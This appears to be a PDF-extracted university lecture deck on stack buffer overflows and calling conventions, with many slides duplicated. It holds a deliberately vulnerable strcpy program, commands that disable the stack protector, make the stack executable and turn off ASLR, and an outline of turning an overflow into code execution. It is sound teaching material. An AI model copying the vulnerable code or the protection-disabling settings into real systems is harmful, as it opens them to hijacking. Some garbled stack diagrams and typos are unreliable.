CE441: Data and Network Security
Control Hijacking Dark Arts

Behnam Momeni, PhD

Department of Computer Engineering
Sharif University of Technology

Fall 2019
Outline

1. Buffer Overflow Vulnerabilities
   - Memory Management and Function Calls
     - Stack Overflow Vulnerability
     - Off-by-one Overflow Vulnerability

2. Integer Overflow Vulnerability

3. Format String Vulnerability
Memory Management

- **x86 – 32-bit Architecture**
  - Physical memory vs. Virtual memory
  - Each process has an isolated virtual memory address space
    - 32-bit pointers divided into 12-bit pages
    - Low addresses belong to the user-space process
    - High addresses belong to the kernel memory

![Memory Map Diagram](image)

User Space Process Memory (3 GB)

Kernel Memory (1 GB)

After 0xFFFFFFFF
Not addressable by 32-bit pointers
Memory Management

- x86 – 32-bit Architecture
- Physical memory vs. Virtual memory
- Each process has an isolated virtual memory address space
  - 32-bit pointers divided into 12-bit pages
  - Low addresses belong to the user-space process
  - High addresses belong to the kernel memory

<table>
<thead>
<tr>
<th>User Space Process Memory (3GB)</th>
<th>Kernel Memory (1GB)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>0xC0000000</td>
</tr>
</tbody>
</table>

After 0xFFFFFFF Not addressable by 32-bit pointers
Virtual Memory Mapping

- **Virtual pages** must be mapped to **physical pages** to be used
  - Otherwise, a **page fault** occurs
  - The **page fault** might be recovered by swapping physical memory pages and the external disk (*e.g.* a *swap partition*)
  - What if the virtual page was never mapped by the operating system to be swapped now?
    - Accessing an **invalid** page → **Segmentation Fault**

- Process has to coordinate with OS before starting to use arbitrary memory segments even though the virtual memory is managed exclusively
  - Keeping the first page (i.e. at address zero) as an **invalid** page stops processes from dereferencing a **null pointer**
Virtual Memory Mapping

- **Virtual pages** must be mapped to **physical pages** to be used
  - Otherwise, a **page fault** occurs
  - The **page fault** might be recovered by swapping physical memory pages and the external disk (*e.g.* a *swap partition*)
  - What if the virtual page was never mapped by the operating system to be swapped now?
    - Accessing an **invalid** page $\rightarrow$ **Segmentation Fault**

- Process has to coordinate with OS before starting to use arbitrary memory segments even though the virtual memory is managed exclusively
  - Keeping the first page (i.e. at address zero) as an **invalid** page stops processes from dereferencing a **null** pointer
Virtual Memory Address Space Layout

- Virtual memory regions are allocated for:
  - Executable code (`.text` segment)
  - Constants (`.rodata` segment)
  - Initialized global data (`.data` segment)
  - Uninitialized global data (`.bss` segment; zero-initialized automatically)
  - Dynamic memory allocation (`.heap` segment)
  - Dynamic libraries (allocated by `mmap`)
  - Local variables (`.stack` segment)
Virtual memory regions are allocated for

- Executable code (`.text` segment)
- Constants (`.rodata` segment)
- Initialized global data (`.data` segment)
- Uninitialized global data (`.bss` segment; zero-initialized automatically)
- Dynamic memory allocation (`.heap` segment)
- Dynamic libraries (allocated by `mmap`)
- Local variables (`.stack` segment)
Virtual Memory Address Space Layout

- Virtual memory regions are allocated for:
  - Executable code (.text segment)
  - Constants (.rodata segment)
  - Initialized global data (.data segment)
  - Uninitialized global data (.bss segment; zero-initialized automatically)
  - Dynamic memory allocation (.heap segment)
  - Dynamic libraries (allocated by mmap)
  - Local variables (.stack segment)
Virtual Memory Address Space Layout

- Virtual memory regions are allocated for:
  - Executable code (.text segment)
  - Constants (.rodata segment)
  - Initialized global data (.data segment)
  - Uninitialized global data (.bss segment; zero-initialized automatically)
  - Dynamic memory allocation (.heap segment)
  - Dynamic libraries (allocated by mmap)
  - Local variables (.stack segment)
Virtual Memory Address Space Layout

- Virtual memory regions are allocated for:
  - Executable code (.text segment)
  - Constants (.rodata segment)
  - Initialized global data (.data segment)
  - Uninitialized global data (.bss segment; zero-initialized automatically)
  - Dynamic memory allocation (.heap segment)
  - Dynamic libraries (allocated by mmap)
  - Local variables (.stack segment)
Virtual Memory Address Space Layout

- Virtual memory regions are allocated for:
  - Executable code (.text segment)
  - Constants (.rodata segment)
  - Initialized global data (.data segment)
  - Uninitialized global data (.bss segment; zero-initialized automatically)
  - Dynamic memory allocation (.heap segment)
  - Dynamic libraries (allocated by mmap)
  - Local variables (.stack segment)
Virtual memory regions are allocated for:

- Executable code (.text segment)
- Constants (.rodata segment)
- Initialized global data (.data segment)
- Uninitialized global data (.bss segment; zero-initialized automatically)
- Dynamic memory allocation (.heap segment)
- Dynamic libraries (allocated by mmap)
- Local variables (.stack segment)
Function Calls

- Each function can declare some local variables
- A function may call other functions
- Or it may call itself recursively

Stack Frame

A data structure is required to manage all local data of each function, stacked upon previous instances as new functions are invoked.
Function Calls

- Each function can declare some local variables
- A function may call other functions
- Or it may call itself recursively

Stack Frame

A data structure is required to manage all local data of each function, stacked upon previous instances as new functions are invoked.
Function Call Convention

- An agreed upon **convention** between the function **caller** and the invoked function (i.e. **callee**) about how the function invocation must be done
  - How to pass arguments
  - How to pass the return value back
  - How to declare local variables
  - Which responsibilities are taken by **caller** and **callee**
  - Which registers must be preserved

- The convention which is implemented for **Linux** OS by **gcc** for the **C** language function calls is called **System V**
  - An Application Binary Interface (**ABI**)
  - Also called **cdecl**

- Let’s check an example, compiled by

  ```bash
  gcc -S -c cdecl.c -m32 --no-stack-protector -fno-pie -o cdecl.s
  ```
Function Call Convention

- An agreed upon **convention** between the function **callee** and the invoked function (i.e. **callee**) about how the function invocation must be done
  - How to pass arguments
  - How to pass the return value back
  - How to declare local variables
  - Which responsibilities are taken by **callee** and **callee**
  - Which registers must be preserved

- The convention which is implemented for **Linux** OS by **gcc** for the **C** language function calls is called **System V**
  - An Application Binary Interface (**ABI**)
  - Also called **cdecl**

- Let’s check an example, compiled by
  ```bash
  gcc -S -c cdecl.c -m32 --no-stack-protector -fno-pie -o cdecl.s
  ```
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```
pushl %ebp
movl %esp, %ebp
subl $24, %esp
```
.pre:
```
pushl $7
pushl $5
pushl $4
call callee
```
.Lret:
```
addl $12, %esp
movl %eax, -12(%ebp)
```
.post:
```
```

eax=6
```

Stack grows leftwards
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```assembly
    pushl %ebp
    movl %esp, %ebp
    subl $24, %esp
    .pre:
    pushl $7
    pushl $5
    pushl $4
    call callee
    .Lret:
    addl $12, %esp
    movl %eax, -12(%ebp)
    .post:
```

Stack grows leftwards

<table>
<thead>
<tr>
<th>eax=6</th>
<th>m</th>
<th>_Lret</th>
<th>4</th>
<th>5</th>
<th>7</th>
<th>a=?</th>
<th>skipped for alignment</th>
<th>skipped for alignment</th>
<th>8 bytes</th>
</tr>
</thead>
</table>

B. Momeni (Sharif Univ. of Tech.)
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;

    pre:
    a = callee(4, 5, 7); // 6

    post:
    printf("result: %d", a);
}
```

caller:
- `pushl %ebp`
- `movl %esp, %ebp`
- `subl $24, %esp`

.pre:
- `pushl $7`
- `pushl $5`
- `pushl $4`
- `call callee`

.Lret:
- `addl $12, %esp`
- `movl %eax, -12(%ebp)`

.post:

Stack grows leftwards

```
+---+---+---+---+---+---+---+---+
| eax=6 | m | .Lret | 4 | 5 | 7 | a=? | ... |
+---+---+---+---+---+---+---+---+
     | skipped for alignment
+---+---+---+---+---+---+---+---+
| esp | ret addr | uninitialized | 4 bytes | 12 bytes | uninitialized | 8 bytes |
+---+---+---+---+---+---+---+---+
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```
pushl %ebp
movl %esp, %ebp
subl $24, %esp
``` .pre:
```
pushl $7
pushl $5
pushl $4
call callee
``` .Lret:
```
addl $12, %esp
movl %eax, -12(%ebp)
``` .post:
```
```
### Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

```assembly
 caller:
    pushl %ebp
    movl %esp, %ebp
    subl $24, %esp
    .pre:
    pushl $7
    pushl $5
    pushl $4
    call callee
    .Lret:
    addl $12, %esp
    movl %eax, -12(%ebp)
    .post:
```

- **esp**: 12 bytes, uninitialized
- **ebp**: 4 bytes, skipped for alignment
- **ret addr**: 12 bytes, uninitialized
- **eax=6**: 4 bytes, skipped for alignment
- **m**: 4 bytes, skipped for alignment
- **7**: 4 bytes, skipped for alignment
- **a=?**: 8 bytes, skipped for alignment

*Stack grows leftwards*

---

B. Momeni (Sharif Univ. of Tech.)  CE441: Data and Network Security  Fall 2019  8 / 49
**Details of the i386 System V ABI**

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

```assembly
.caller:
pushl  %ebp
movl  %esp, %ebp
subl  $24, %esp
.pre:
pushl  $7
pushl  $5
pushl  $4
call  callee
.Lret:
addl  $12, %esp
movl  %eax, -12(%ebp)
.post:
```

The stack grows leftwards from the `esp` pointer. The diagram shows the alignment and memory layout for the stack frame, highlighting the movement of the registers and variables as the function is called and executed.
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```
pushl  %ebp
movl  %esp, %ebp
subl  $24, %esp
```
.pre:
```
pushl  $7
pushl  $5
pushl  $4
```
call callee
.Lret:
```
addl  $12, %esp
movl  %eax, -12(%ebp)
```
.post:
```
```
```
### Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

```assembly
callee:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
imull 12(%ebp), %eax
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
cld
idivl 16(%ebp)
movl %edx, %eax
leave
ret
```

The stack layout for the `callee` function is as follows:

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>esp</td>
<td>12 bytes</td>
<td>uninitialized</td>
</tr>
<tr>
<td>ebp</td>
<td></td>
<td>skipped for alignment</td>
</tr>
<tr>
<td>eax</td>
<td>4</td>
<td>.Lret</td>
</tr>
<tr>
<td>m</td>
<td>5</td>
<td></td>
</tr>
<tr>
<td>n</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>?</td>
<td>skipped for alignment</td>
</tr>
<tr>
<td>ret addr</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ret addr</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The stack grows leftwards, and the `eax` register contains the result of the calculation: **6**.

---

B. Momeni (Sharif Univ. of Tech.)
CE441: Data and Network Security
Fall 2019
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

callee:

```
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
imull 12(%ebp), %eax
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
cld
idivl 16(%ebp)
movl %edx, %eax
leave
ret
```
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

```
callee:
pushl  %ebp
movl  %esp, %ebp
subl  $16, %esp
movl  8(%ebp), %eax
imull 12(%ebp), %eax
movl  %eax, -4(%ebp)
cltd
idivl 16(%ebp)
movl  %edx, %eax
leave
ret
```

Stack grows leftwards

- eax=6
- m
- old ebp
- .Lret
- 4
- 5
- 7
- a=
- ...
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
        a = callee(4, 5, 7); // 6
    post:
        printf("result: \%d\", a);
}
```

```assembly
callee:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
imull 12(%ebp), %eax
movl %eax, -4(%ebp)
cltd
idivl 16(%ebp)
movl %edx, %eax
leave
ret
```
**Details of the i386 System V ABI**

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}

void caller() {
    int a;
    pre:
        a = callee(4, 5, 7); // 6
    post:
        printf("result: %d", a);
}
```

### callee:
- `pushl %ebp`
- `movl %esp, %ebp`
- `subl $16, %esp`
- `movl 8(%ebp), %eax`
- `imull 12(%ebp), %eax`
- `movl %eax, -4(%ebp)`
- `movl -4(%ebp), %eax`
- `cltd`
- `idivl 16(%ebp)`
- `movl %edx, %eax`
- `leave`
- `ret`

### Stack Layout:
- `eax=6` (skipped for alignment)
- `esp` (12 bytes)
- `ebp` (12 bytes)
- `old ebp` (4 bytes)
- `.Lret` (4 bytes)
- `a=?` (4 bytes)
- `uninitialized` (12 bytes)
- `...`

---

B. Momeni (Sharif Univ. of Tech.)

CE441: Data and Network Security

Fall 2019 8/49
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
        a = callee(4, 5, 7); // 6
post:
    printf("result: %d", a);
}
```

callee:
```assembly
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
imull 12(%ebp), %eax
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
cltd
idivl 16(%ebp)
movl %edx, %eax
leave
ret
```

Stack grows leftwards
```plaintext
<table>
<thead>
<tr>
<th>eax=6</th>
<th>20</th>
<th>old ebp</th>
<th>.Lret</th>
<th>4</th>
<th>5</th>
<th>7</th>
<th>8 bytes</th>
<th>12 bytes</th>
<th>4 bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td>skipped for alignment</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>uninitialized</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

B. Momeni (Sharif Univ. of Tech.)

CE441: Data and Network Security

Fall 2019 8/49
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
        a = callee(4, 5, 7); // 6
    post:
        printf("result: %d", a);
}
```

callee:
```
pushl %ebp
movl %esp, %ebp
subl $16, %esp
movl 8(%ebp), %eax
imull 12(%ebp), %eax
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
cltd
idivl 16(%ebp)
movl %edx, %eax
leave
ret
```
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```asm
pushl %ebp
movl %esp, %ebp
subl $24, %esp
.pre:
pushl $7
pushl $5
pushl $4
call callee
.Lret:
addl $12, %esp
movl %eax, -12(%ebp)
.post:
```

Stack grows leftwards

```
<table>
<thead>
<tr>
<th>eax=6</th>
<th>20</th>
<th>.Lret</th>
<th>4</th>
<th>5</th>
<th>7</th>
<th>a=?</th>
</tr>
</thead>
</table>
```

B. Momeni (Sharif Univ. of Tech.)  CE441: Data and Network Security  Fall 2019  8/49
Details of the i386 System V ABI

```c
int callee(int p, int q, int n) {
    int m = p * q;
    return m % n;
}
void caller() {
    int a;
    pre:
    a = callee(4, 5, 7); // 6
    post:
    printf("result: %d", a);
}
```

caller:
```
pushl %ebp
movl %esp, %ebp
subl $24, %esp
.pre:
pushl $7
pushl $5
pushl $4
call callee
.Lret:
addl $12, %esp
movl %eax, -12(%ebp)
.post:
```

Stack grows leftwards

```
<table>
<thead>
<tr>
<th>eax=6 (skipped for alignment)</th>
<th>20</th>
<th>.Lret</th>
<th>4</th>
<th>5</th>
<th>7</th>
<th>skipped for alignment</th>
<th>a= 6 (skipped for alignment)</th>
<th>...</th>
</tr>
</thead>
</table>
```

B. Momeni (Sharif Univ. of Tech.)
CE441: Data and Network Security
Fall 2019
Caller/Callee Saved Registers – x86 Architecture

- **Clobbered Register**: A register which its value is modified
  - Also called a **volatile** or **caller-saved**
  - Helps performance when **caller** does not need it
    - ...because **callee** does not have to save/restore it

- **Preserved Register**: A register which its value is not modified
  - Also called a **non-volatile** or **callee-saved**
  - Helps performance when **callee** needs it
    - ...because **callee** might avoid using it

There are five preserved registers in x86 System V ABI
- ESP, EBP, EBX, EDI, ESI

Ref: [http://refspects.linuxbase.org/elf/abi386-4.pdf](http://refspects.linuxbase.org/elf/abi386-4.pdf)
Caller/Callee Saved Registers – x86 Architecture

- **Clobbered Register**: A register which its value is modified
  - Also called a volatile or caller-saved
  - Helps performance when caller does not need it
    - ...because callee does not have to save/restore it
- **Preserved Register**: A register which its value is not modified
  - Also called a non-volatile or callee-saved
  - Helps performance when caller needs it
    - ...because callee might avoid using it
- There are five preserved registers in x86 System V ABI
  - ESP, EBP, EBX, EDI, ESI

Ref: [http://refspecs.linuxbase.org/elf/abi386-4.pdf](http://refspecs.linuxbase.org/elf/abi386-4.pdf)
The x86-64 System V ABI

- The benefits of keeping live variables in registers and avoiding save/restore operations to/from the stack can be extended to argument passing too.
- In the x86-64 SysV ABI, first six arguments with INTEGER class (e.g. `int`, `char`, `short`) are passed in registers:
  - RDI, RSI, RDX, RCX, R8, R9
- Arguments with SSE class (e.g. `float`, `double`) are passed in eight separate registers:
  - XMM0, XMM1, ..., XMM7
- Other arguments are passed in the stack.
- And there are seven preserved registers:
  - RSP, RBP, RBX, R12, R13, R14, R15

Ref: [http://refsspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf](http://refsspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf)
The x86-64 System V ABI

- The benefits of keeping live variables in registers and avoiding save/restore operations to/from the stack can be extended to argument passing too
- In the x86-64 SysV ABI, first six arguments with INTEGER class (e.g. int, char, short) are passed in registers
  - RDI, RSI, RDX, RCX, R8, R9
- Arguments with SSE class (e.g. float, double) are passed in eight separate registers
  - XMM0, XMM1, ..., XMM7
- Other arguments are passed in the stack
- And there are seven preserved registers
  - RSP, RBP, RBX, R12, R13, R14, R15

Ref: http://refsspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
Outline

1. Buffer Overflow Vulnerabilities
   - Memory Management and Function Calls
   - Stack Overflow Vulnerability
   - Off-by-one Overflow Vulnerability

2. Integer Overflow Vulnerability

3. Format String Vulnerability
Only Test These Over Your Authorized Properties!

**White Hat**
People who specialize in hacking, check the faults of the system

**Grey Hat**
Exploit a security to the attention of the owners

**Black Hat**
People who break into networks and harm to the network and property

---

**White Hat is known as Ethical Hacker**

Ref: https://msatechnosoft.in/blog/wp-content/uploads/2018/05/Types-of-Hackers-MSA-Technosoft.jpg

Ref: https://media.makeameme.org/created/There-will-be-ezi80n.jpg
Stack Overflow Vulnerability

- Function local variables are allocated in the **stack frame**
  - *e.g.* `int a; char c; char buff[100];`

- Filling a buffer without properly taking care of its capacity can overwrite the adjacent values living on the stack

<table>
<thead>
<tr>
<th>100 bytes</th>
<th>1 byte</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>4 bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>char buff[100];</code></td>
<td><code>char c;</code></td>
<td><code>int a;</code></td>
<td><code>old-ebp</code></td>
<td><code>ret-addr</code></td>
</tr>
</tbody>
</table>
Function local variables are allocated in the stack frame

\textit{e.g.} \texttt{int a; char c; char buff[100];}

Filling a buffer without properly taking care of its capacity can overwrite the adjacent values living on the stack
Function local variables are allocated in the stack frame

* e.g. `int a; char c; char buff[100];`

Filling a buffer without properly taking care of its capacity can overwrite the adjacent values living on the stack

<table>
<thead>
<tr>
<th>Buffer Contents</th>
<th>Overwritten</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>char buff[100];</code></td>
<td></td>
</tr>
<tr>
<td><code>char c;</code></td>
<td></td>
</tr>
<tr>
<td><code>int a;</code></td>
<td></td>
</tr>
<tr>
<td><code>old-ebp</code></td>
<td></td>
</tr>
<tr>
<td><code>ret-addr</code></td>
<td></td>
</tr>
</tbody>
</table>
Stack Overflow Vulnerability

- Function local variables are allocated in the **stack frame**
  
  *e.g.* `int a; char c; char buff[100];`

- Filling a buffer without properly taking care of its capacity can overwrite the adjacent values living on the stack

<table>
<thead>
<tr>
<th>100 bytes</th>
<th>1 byte</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>4 bytes</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>char buff[100];</code></td>
<td><code>char c;</code></td>
<td><code>int a;</code></td>
<td><code>old-ebp</code></td>
<td><code>ret-addr</code></td>
</tr>
</tbody>
</table>

buffer contents overwritten
Converting SO to CE
When the victim has all protections disabled!

- The **Stack Overflow (SO)** vulnerability allows an adversary to overwrite stack contents.
- And the adversary wants arbitrary **Code Execute (CE)**
  - The overwritten return address can point to the desired assembly codes
    - When the function returns, it executes the desired code
  - Where to place the desired assembly codes?
    - In the overwritten stack itself
Converting SO to CE
When the victim has all protections disabled!

- The **Stack Overflow (SO)** vulnerability allows an adversary to overwrite **stack contents**
- And the adversary wants arbitrary **Code Execute (CE)**
- The **overwritten return address** can point to the desired **assembly codes**
  - When the function returns, it executes the desired code
- Where to place the desired **assembly codes**?
  - In the overwritten stack itself
Converting SO to CE
When the victim has all protections disabled!

- The **Stack Overflow (SO)** vulnerability allows an adversary to overwrite stack contents.
- And the adversary wants arbitrary **Code Execute (CE)**.
- The **overwritten return address** can point to the desired assembly codes.
  - When the function returns, it executes the desired code.
- Where to place the desired assembly codes?
  - In the **overwritten stack** itself.

```c
char buff[100];
old-ebp
ret-addr
```

<table>
<thead>
<tr>
<th>100 bytes</th>
<th>4 bytes</th>
<th>4 bytes</th>
<th>arbitrary length</th>
</tr>
</thead>
</table>

local variables of the previous function

shell code
overwritten
Converting SO to CE
When the victim has all protections disabled!

- The **Stack Overflow (SO)** vulnerability allows an adversary to overwrite stack contents
- And the adversary wants arbitrary **Code Execute (CE)**
- The *overwritten return address* can point to the desired *assembly codes*
  - When the function returns, it executes the desired code
- Where to place the desired *assembly codes*?
  - In the *overwritten stack* itself

```
char buff[100];
old-ebp
ret-addr

local variables of the previous function
```

100 bytes 4 bytes 4 bytes arbitrary length

Shell code
In real world, there are several protections to prevent adversary from executing arbitrary codes (*topic of the next lecture*)

For simplicity, let’s disable them and build a simple 64-bit ELF file

```bash
    gcc so.c -g -O0 -fno-stack-protector -z execstack -o so.out
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Shell Code Development – SO Vulnerable Program

```c
void vuln(char *input) {
    char buf[100];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage:\n\t%s \<name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

```assembly
vuln:
    pushq %rbp
    movq %rsp, %rbp
    addq $-128, %rsp
    movq %rdi, -120(%rbp)
    movq -120(%rbp), %rdx
    leaq -112(%rbp), %rax
    movq %rdx, %rsi
    movq %rax, %rdi
    call strcpy@PLT
    leaq -112(%rbp), %rax
    movq %rax, %rsi
    leaq .LC0(%rip), %rdi
    movl $0, %eax
    call printf@PLT
    nop
    leave
    ret
```
Shell Code Development – SO Vulnerable Program

```c
void vuln(char *input) {
    char buf[100];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage:\n\t% s <name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

```assembly
vuln:
    pushq %rbp
    movq %rsp, %rbp
    addq $-128, %rsp
    movq %rdi, -120(%rbp)
    movq -120(%rbp), %rdx
    leaq -112(%rbp), %rax
    movq %rdx, %rsi
    movq %rax, %rdi
    call strcpy@PLT
    leaq -112(%rbp), %rax
    movq %rax, %rsi
    leaq .LC0(%rip), %rdi
    movl $0, %eax
    call printf@PLT
    nop
    leave
    ret
```
Shell Code Development – SO Vulnerable Program

```c
void vuln(char *input) {
    char buf[100];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage:\n\t%s <name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

```
vuln:
pushq %rbp
movq %rsp, %rbp
addq $-128, %rsp
movq %rdi, -120(%rbp)
movq -120(%rbp), %rdx
leaq -112(%rbp), %rax
movq %rdx, %rsi
movq %rax, %rdi
call strcpy@PLT
leaq -112(%rbp), %rax
movq %rax, %rsi
leaq .LC0(%rip), %rdi
movl $0, %eax
call printf@PLT
nop
leave
ret
```
Shell Code Development – SO Vulnerable Program

```c
void vuln(char *input) {
    char buf[100];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: \n\t%s <name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

```

vuln:
pushq %rbp
movq %rsp, %rbp
addq $-128, %rsp
movq %rdi, -120(%rbp)
movq -120(%rbp), %rdx
leaq -112(%rbp), %rax
movq %rdx, %rsi
movq %rax, %rdi
call strcpy@PLT
leaq -112(%rbp), %rax
movq %rax, %rsi
leaq .LC0(%rip), %rdi
movl $0, %eax
call printf@PLT
nop
leave
ret
```

B. Momeni (Sharif Univ. of Tech.) CE441: Data and Network Security Fall 2019 16/49
Buffer Overflow Vulnerabilities  Stack Overflow Vulnerability

Shell Code Development – SO Vulnerable Program

```c
void vuln(char *input) {
    char buf[100];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage:\n\t%s <name>\n", argv[0]);
        return -1;
    }
    vuln(argv[1]);
    return 0;
}
```

```assembly
vuln:
    pushq %rbp
    movq %rsp, %rbp
    addq $-128, %rsp
    movq %rdi, -120(%rbp)
    movq -120(%rbp), %rdx
    leaq -112(%rbp), %rax
    movq %rdx, %rsi
    movq %rax, %rdi
    call strcpy@PLT
    leaq -112(%rbp), %rax
    movq %rax, %rsi
    leaq .LC0(%rip), %rdi
    movl $0, %eax
    call printf@PLT
    nop
    leave
    ret
```
Shell Code Development – Important Features

- Input size to completely overwrite the return address
  - 112 bytes for buf and the alignment padding
  - 8 bytes for the old RBP
  - 8 bytes for the return address itself

- If the shell code fits in 120 bytes
  - ...it can be stored before the return address

- How to find the exact shell code address?
  - Using a debugger?
  - Stack location may change on the target machine!
Shell Code Development – Important Features

- Input size to completely overwrite the return address
  - 112 bytes for buf and the alignment padding
  - 8 bytes for the old RBP
  - 8 bytes for the return address itself
- If the shell code fits in 120 bytes
  - ...it can be stored before the return address
- How to find the exact shell code address?
  - Using a debugger?
  - Stack location may change on the target machine!
Shell Code Development – Important Features

- Input size to completely overwrite the return address
  - 112 bytes for buf and the alignment padding
  - 8 bytes for the old RBP
  - 8 bytes for the return address itself
- If the shell code fits in 120 bytes
  - ...it can be stored before the return address
- How to find the exact shell code address?
  - Using a debugger?
  - Stack location may change on the target machine!
Shell Code Development – Important Features

- Input size to completely overwrite the return address
  - 112 bytes for buf and the alignment padding
  - 8 bytes for the old RBP
  - 8 bytes for the return address itself
- If the shell code fits in 120 bytes
  - ...it can be stored before the return address
- How to find the exact shell code address?
  - Using a debugger?
  - Stack location may change on the target machine!
Buffer Overflow Vulnerabilities

Shell Code Development – Stack Location

- Different factors can *unintentionally* move stack contents
- Even when the base of stack is not moved
  - Program name is pushed on the stack
    - Renaming the program
    - Moving the executable to another folder
  - Command line arguments are pushed on the stack
    - Passing different arguments affects the stack contents position
    - In our example, the overflowing input was in the `char *argv[]`
      itself. Trying to input longer names to overflow the buffer will shift stack contents more towards the lower addresses.
- Environment variables are also available on the stack
  - Out of control of the adversary
- Even presence of the debugger itself can affect the stack position
Shell Code Development – Stack Location

- Different factors can *unintentionally* move stack contents
- Even when the base of stack is not moved
  - Program name is pushed on the stack
    - Renaming the program
    - Moving the executable to another folder
  - Command line arguments are pushed on the stack
    - Passing different arguments affects the stack contents position
    - In our example, the overflowing input was in the `char *argv[]` itself. Trying to input longer names to overflow the buffer will shift stack contents more towards the lower addresses.
- Environment variables are also available on the stack
  - Out of control of the adversary
- Even presence of the debugger itself can affect the stack position
Different factors can *unintentionally* move stack contents

Even when the base of stack is not moved

- Program name is pushed on the stack
  - Renaming the program
  - Moving the executable to another folder
- Command line arguments are pushed on the stack
  - Passing different arguments affects the stack contents position
  - In our example, the overflowing input was in the `char *argv[]` itself. Trying to input longer names to overflow the buffer will shift stack contents more towards the lower addresses.

- Environment variables are also available on the stack
  - Out of control of the adversary
  - Even presence of the debugger itself can affect the stack position
Shell Code Development – Stack Location

- Different factors can *unintentionally* move stack contents
- Even when the base of stack is not moved
  - Program name is pushed on the stack
    - Renaming the program
    - Moving the executable to another folder
  - Command line arguments are pushed on the stack
    - Passing different arguments affects the stack contents position
    - In our example, the overflowing input was in the `char *argv[]` itself. Trying to input longer names to overflow the buffer will shift stack contents more towards the lower addresses.
- Environment variables are also available on the stack
  - Out of control of the adversary
- Even presence of the debugger itself can affect the stack position
Shell Code Development – NOP Sled

- In absence of ASLR and when binary, used libraries, and OS version all are the same on the adversary and target machine, the stack contents might move slightly in comparison to what is discovered by a debugger
  - Use *gdb* to find an initial guess
  - Test other guesses to find the exact address

